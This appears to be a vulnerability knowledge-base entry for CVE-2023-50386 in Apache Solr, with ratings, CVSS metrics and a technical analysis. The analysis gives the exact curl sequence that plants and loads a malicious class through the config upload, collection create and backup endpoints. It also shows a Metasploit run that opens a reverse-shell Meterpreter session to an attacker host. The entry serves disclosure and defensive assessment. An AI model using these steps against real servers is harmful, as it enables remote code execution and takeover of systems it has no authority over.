Attacker Value
Moderate
(2 users assessed)
Exploitability
High
(2 users assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
3

CVE-2023-50386

Disclosure Date: February 09, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated

Description

Improper Control of Dynamically-Managed Code Resources, Unrestricted Upload of File with Dangerous Type, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Solr.This issue affects Apache Solr: from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1.

In the affected versions, Solr ConfigSets accepted Java jar and class files to be uploaded through the ConfigSets API.
When backing up Solr Collections, these configSet files would be saved to disk when using the LocalFileSystemRepository (the default for backups).
If the backup was saved to a directory that Solr uses in its ClassPath/ClassLoaders, then the jar and class files would be available to use with any ConfigSet, trusted or untrusted.

When Solr is run in a secure way (Authorization enabled), as is strongly suggested, this vulnerability is limited to extending the Backup permissions with the ability to add libraries.
Users are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue.
In these versions, the following protections have been added:

  • Users are no longer able to upload files to a configSet that could be executed via a Java ClassLoader.
  • The Backup API restricts saving backups to directories that are used in the ClassLoader.

Add Assessment

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    High
Technical Analysis

Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.

This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.

The three API functions that this exploit uses to achieve code execution are as follows:

  • /admin/configs?action=UPLOAD
  • /admin/collections?action=CREATE
  • /admin/collections?action=BACKUP

The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ; in order for it to be executed.

A number of extra steps are required in order to get that .class file to execute. Upload a config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"

Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"

Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations which is the path to be exported and name which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"

This will export collection1 to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/

Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1 and name set to lib:

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

Now our malicious class we uploaded in the original config ends up here:
/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1

You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.

Now the attacker uploads a second configuration. This time without a malicious .class but with:

<valueSourceParser  name= "myfunc"  class= "zk_backup_0.configs.conf1.Exp"  />

Set inside solrconfig.xml. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"

And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.

And Voilà! If everything has gone to plan the code in the static method of the malicious class should execute in the context of the user running Apache Solr.

Attacker Value and Exploitability Explained

Attacker value 3/5

Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.

Exploitability 4/5

If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.

Try it yourself

If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:

version: '3'

services:
  solr:
    image: solr:9.0.0
    ports:
      - "8983:8983"
      - "5005:5005"
    command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"

Load the metasploit module for this exploit, set the rhost and lhost values, run it and you should get a session in the context of the user running Apache Solr:

msf6 > use linux/http/apache_solr_backup_restore
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/apache_solr_backup_restore) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Running check method
[*] 127.0.0.1:8983: Authentication not required
[*] Found Apache Solr 9.0.0
[*] OS version is Linux amd64 6.6.16-linuxkit
[+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0
[+] Uploaded configuration successfully
[+] Backed up collection successfully
[+] Backed up collection successfully
[+] Uploaded configuration successfully
[*] Sending stage (3045380 bytes) to 172.16.199.1
[+] Successfully dropped the payload
[*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.1:50057) at 2024-04-01 16:18:17 -0700
[*] Cleaning up...
meterpreter > getuid
Server username: solr
meterpreter > sysinfo
Computer     : 192.168.128.2
OS           : Ubuntu 20.04 (Linux 6.6.16-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
1
Technical Analysis

Rapid7 pen testers have noted they have encountered vulnerable versions of this software on engagements.

CVSS V3 Severity and Metrics
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • apache

Products

  • solr

Additional Info

Technical Analysis